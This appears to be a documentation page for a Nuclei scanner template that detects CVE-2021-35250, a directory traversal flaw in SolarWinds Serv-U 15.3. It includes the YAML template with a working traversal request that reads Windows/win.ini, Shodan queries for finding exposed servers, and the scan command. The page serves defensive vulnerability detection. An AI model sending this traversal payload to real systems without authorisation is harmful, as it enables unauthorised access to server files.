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SolarWinds Serv-U 15.3 - Directory Traversal

ID: CVE-2021-35250

Severity: high

Author: johnk3r,pdteam

Tags: cve2021,cve,solarwinds,traversal

Description

Section titled “Description”

SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2021-35250


info:
  name: SolarWinds Serv-U 15.3 - Directory Traversal
  author: johnk3r,pdteam
  severity: high
  description: |
    SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks.
  remediation: Resolved in Serv-U 15.3 Hotfix 1.
  reference:
    - https://github.com/rissor41/SolarWinds-CVE-2021-35250
    - https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-3-HotFix-1?language=en_US
    - https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35250
    - https://twitter.com/shaybt12/status/1646966578695622662?s=43&t=5HOgSFut7Y75N7CBHEikSg
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-35250
    cwe-id: CWE-22
    epss-score: 0.05835
    epss-percentile: 0.93393
    cpe: cpe:2.3:a:solarwinds:serv-u:15.3:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: solarwinds
    product: serv-u
    shodan-query:
      - product:"Rhinosoft Serv-U httpd"
      - product:"rhinosoft serv-u httpd"
  tags: cve2021,cve,solarwinds,traversal


http:
  - raw:
      - |
        POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        /?Command=NOOP


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"


      - type: status
        status:
          - 401
# digest: 4a0a004730450220625ad2919ce13ae348927c0359fba01209e8f84b6c089d2abbf0bae756e0705d022100e5e9a1c4bb851f4082d4c666cad3af3d98adb0628b3300c47e957c8bfc662904:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-35250.yaml"

View on Github